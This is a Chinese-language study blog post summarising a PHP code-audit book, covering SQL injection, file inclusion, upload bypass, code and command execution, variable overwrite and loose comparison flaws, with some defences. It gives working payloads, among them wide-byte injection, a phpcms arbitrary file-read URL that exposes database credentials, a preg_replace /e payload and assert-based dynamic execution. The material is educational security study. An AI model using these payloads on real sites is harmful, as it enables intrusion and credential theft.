这周交了飞机大战,然后在学python,看了两遍在图书馆借来的代码审计,收货比较多,之前没注意到过防护,但是做这个不会防护也是不行的,在读第二遍的时候结合百度的东西写下了总结,但是由于PHP学的不好,有的长篇代码并没有读的懂,打算学Php的时候读读源码提高下能力。

SQL注入

普通注入

int型和sting型。平时接触的比较多,不多说了。

编码注入

宽字节注入和二次urldecode注入

宽字节:

当php连接mysql时如果 set character_set_client =gbk时会导致该注入的发生。提交

1
/1.php?id= -1' and 1=1%23

时,单引号会被\转义,提交后运行语句

1
select * from user where id='-1\' and 1=1#'

这样的话就没有注入成功,但是如果set character_set_client=gbk时提交==?id=-1%df’==的话,过滤用的\ (%5c)会与%df%5c组合,mysql语句就成了

1
select * from user where id='-1運' and 1=1#'
urldecode二次解码

在web中通常使用addslashes(),mysql_raal_escape_string()、mysql_escape_string函数或者开启GPC的方式来防止注入,原理就是给预定义字符也就是单引号、双引号、反斜杠和NULL进行转义,但是如果某处使用了urldecode或者rawurldecode函数,如果开启了GPC来过滤,那么提交==?id=1%25%27==,%25经过url解码为%,%27解码为单引号,那么成功引发注入,在代码审计的过程中要注意这两个函数。

防护

魔术引号 gpc/rutime

在数据处理中主要有两条路线,一种是用户主动提交的,另外一种是用户被动接受的,
GPC主要对用户的POST、GET、cookie的值进行过滤,runtimer对从数据库或者文件中获取的数据进行过滤,但是对Int类型注入作用不大。

过滤函数

addslashes与GPC的作用差不多。

mysql_raal_escape_string()、mysql_escape_string:主要怼字符串进行过滤。

intval、floatval等:这类是将string类型转化为int类型的函数,将 ==1’ union select==强制转化为1,

文件操作漏洞

文件操作包括文件包含、文件读取、文件删除、文件修改和文件上传。

文件包含

文件包含的函数:include(),include_once()、require()、require_once

区别在于前两个在遇到错误时代码还可以继续往下执行,但是后两个如果遇到错误会报错退出。

远程文件包含

如果allow_url_include = on开启的时候,测试代码

1
2
3
4
5
<?php

include($_GET("url"));

?>

在远程机器上写一个txt文件,内容为

传?url=http://地址/2.txt,那么将返回phpinfo信息

还有一种就是利用php输入输出流的方式直接post代码,1.php?a=php://input

文件包含截断

1.%00截断,这种截断方式只有在GPC喝addslashes等过滤函数没有时才可以使用

2.?的伪截断,这类并不受GPC和PHP版本的限制,只要返回代码给包含函数,就可以执行,因为webserve把?后面的内容当成请求参数,因为txt不在webserve里面解析,那么就实现了伪截断

文件读取(下载)漏洞

文件读取函数:file_ini_contents()、highlight()、fopen()、readfile()、fread()、fgetss()、fget()、parse_ini_file()、show_source()、file()。

phpcms任意文件读取漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function public_get_suggest_keyword() {

$url = $_GET['url'].'&q='.$_GET['q'];

$res = @file_get_contents($url);

if(CHARSET != 'gbk') {

$res = iconv('gbk', CHARSET, $res);

}

echo $res;

}

代码直接从GET参数里面读取url,如果提交?url=&q=1的话url的变量就可以看做是&q=1.php,然后往上翻就可以跳转目录读取内容,利用方法

1
2
3
http://domain/index.php?m=search&c=index&a=public_get_suggest_keyword

&url=0&q=../../phpsso_server/caches/configs/database.php

把“&q=”当成目录来跳过,即刻爆出程序连接数据库的账户和密码。

文件上传漏洞

未过滤和本地过滤

这种都可直接利用,但是这样的情况比较少。

黑名单扩展名过滤

黑名单过滤的主要缺点就是情况会考虑不全,比如IIS在解析asp代码的时候后缀不止.asp,还有cdx、asa、cer等。

还有一些是在对字符串的处理过程中如果使用了%00也就是\0来截断,

文件头、content-type验证绕过

这个在前两天那个火种ctf出现过一次upload的题目,当时那个题目直接加了个GIF89a头改了下content-type就绕过了,比如说使用getimagesize()这个函数,这个函数只要有GIF89a就会返回一个图片的尺寸数组。

代码执行漏洞

代码执行函数

eval()、assert()、preg_replace()、call_user_func()、call_user_array()、array_map()

preg_replace函数

这个函数我记得在我我第一次做小组赛的时候遇到过,当时一脸懵逼也不懂什么意思,写这个总结的时候又找到当时的WP看了看,主要代码如下

1
2
3
4
5
6
7
8
9
10
11
<?php
if($key)
{
$unlockedtxt=preg_replace($passwd,$key,$lockedtxt);

}
if($unlockedtxt===$flag)
{
flag("The Correct: ");
flag($flag);
}

preg_replace*()就是搜索&subject中与&pattern正则匹配的部分替换&replacement,这个题也就是在&lockedtxt中搜索符合&passwd的部门替换$key,但是如果有了修饰符e那么就会把$key这当做Php代码来执行,这个题目的payload:

1
passwd=/1(.*?)1/e&lockedtxt=1$flag1

动态函数执行

动态函数的使用本来为了更简便的调用函数,但是如果过滤不严格就会引发漏洞。
比如说:

就是使用GET的a来执行GET来的b参数,如果利用这个
?a=assert&b=phpinfo(),就可以直接打印出phpinfo的信息了。

命令执行漏洞

可以执行命令的函数有system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()、反引号(’).

其中system()、exec()、shell_exec()、passthru()和反引号是可以直接传入命令并且返回结果的。

漏洞防范

跟防SQL注入一样,也有防范命令的函数

escapeshellcmd()和escapeshellarg()可以用来处理string。

变量覆盖漏洞

经常引发变量覆盖漏洞的函数经常有:extract()和parse_str(), 遇到过的还有$$的方式。

1.extract()

1
2
3
4
5
6
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
1
2
3
4
5
6
7
8
<?php
$b=3;
$a=array('b'=>'1');
extract($a);
print_r($b);
?>

output:1

2.parse_str()

1
2
3
4
5
6
7
<?php
$b=1;
parse_str('b=2');
print_r($b);
?>

output:2

3.import_request_variablese()

这个函数用在register_globals被禁止的时候

1
bool import_request_variables ( string types [, string prefix])

在此函数中G代表GET,P代表POST,C代表COOKIE,会注册G、P、C参数为变量

1
2
3
4
5
<?php
$b=1;
import_request_variables('GP');
print_r($b);
?>
1
2
3
1.php?b=2

输出2

4.$$变量覆盖漏洞

1
2
3
4
5
6
7
<?php
$a='b';
$b=2;
echo $$a;
?>

output:2

$$的实现是:$($a)=$b

漏洞防范

1.使用原始变量。

2.在注册变量之前先验证变量是否存在。

逻辑处理漏洞

1.is_numeric函数

看名字也能看出这个函数是判断一个变量是否是数字的,是的话返回TRUE,否则返回FALSE.

但是函数存在一个问题就是如果传入的是hex时直接返回true,那么这个函数就比较好利用了,将一些语句经过16进制编码之后后可以执行。

2.双等于与三等于

双等于在进行判断前会进行强制类型转换,那么问题就来了,1aaa==1就会返回TRUE,三等于不会进行。

附文章:http://www.freebuf.com/vuls/112339.html

后面还有一章是审计的小技巧,个人感觉挺实用的,也挺好理解,就不再写上来了,还有一些不太理解,用到的时候再深入学习吧。